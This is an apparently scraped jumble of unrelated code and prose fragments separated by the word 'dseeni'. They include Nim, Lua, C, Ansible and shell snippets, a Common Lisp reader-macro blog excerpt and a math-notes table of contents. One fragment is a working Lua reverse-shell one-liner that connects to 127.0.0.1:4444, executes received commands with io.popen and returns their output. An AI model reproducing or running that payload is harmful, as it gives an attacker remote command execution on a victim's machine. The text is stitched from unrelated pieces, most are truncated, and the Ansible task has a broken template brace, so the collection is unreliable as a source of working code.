dseeni

import math

func genCache(): array[10, int32] =
  for i in 1 .. 9:
    result[i] = int32(i ^ i)

const
  MAX = 440_000_000.int32
  cache = genCache()

dseeni

Reader Macros in Common Lisp

This post also appears on lisper.in.

Reader macros are perhaps not as famous as ordinary macros. While macros are a great way to create your own DSL, reader macros provide even greater flexibility by allowing you to create entirely new syntax on top of Lisp.

Paul Graham explains them very well in [On Lisp][] (Chapter 17, Read-Macros):

The three big moments in a Lisp expression's life are read-time, compile-time, and runtime. Functions are in control at runtime. Macros give us a chance to perform transformations on programs at compile-time. ...read-macros... do their work at read-time.

dseeni

- name: unzip tar.gz
  win_command: "7z x {{ tar_gz_path }} -o{{ tar_path }} -y"
- name: unzip tar
  win_command: "7z x {{ tar_path }} -o{{ extracted_path } -y"

dseeni

#!/bin/sh
#
# Here is the software that is needed for the conversion to take place:
# 1. DjVuLibre .
# 2. LibTiff .
# 
# NOTE: The ddjvu utility has an option to convert specific layers. One common mistake is to convert only the mask layer
# or the foreground layer . Technically speaking, the mask layer is the one that should have the actual text but in
# practice I have seen that the the DjVu encoder occasionally puts portions of the text in the background layer. Thus,
# if you only take the foreground or mask layers, you will lose those bits in the background. If your specific files

dseeni

local lpeg = require 'lpeg'

local L = lpeg.locale()
local P,V,C,Ct,S,R,Cg,Cc = 
	lpeg.P, lpeg.V, lpeg.C, lpeg.Ct, lpeg.S, lpeg.R, lpeg.Cg, lpeg.Cc
local ws =  S'\r\n\f\t\v '
local ws0 = ws^0
local ws1 = ws^1

local name = S'_ ' + L.digit + L.alpha

dseeni

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

dseeni

//Using rs232 library: https://github.com/mrh1997/rs232/ by Frédéric Meslin, Florent Touchard
#include <Windows.h>
#pragma comment(lib, "kernel32")
#pragma comment(lib, "lua5.1.lib")
#include <lua.hpp>
#include "rs232.h"
char buffer[0xFFF] = { 0 };

BOOL luaopen_serial (lua_State* L)
{

dseeni

#!/usr/bin/env lua

local IO

IO = {
  -- Class method. Create an IO that does nothing and returns x.
  unit = function(x)
    return IO(function() return x end)
  end,

dseeni

Note: While this is public, this is mostly written for my own sake, to better understand these concepts in relation to their pure mathematical foundations. Comments and suggestions welcome!

---

Table of contents

• Introduction
• Monoids

dseeni

-- traditional fixed-point operator from functional programming
Y = function (f)
    return (function (x)
            return x(x)
            end)(function (x)
                 return f(function (v)
                          return (x(x))(v)
                          end)
                 end)
    end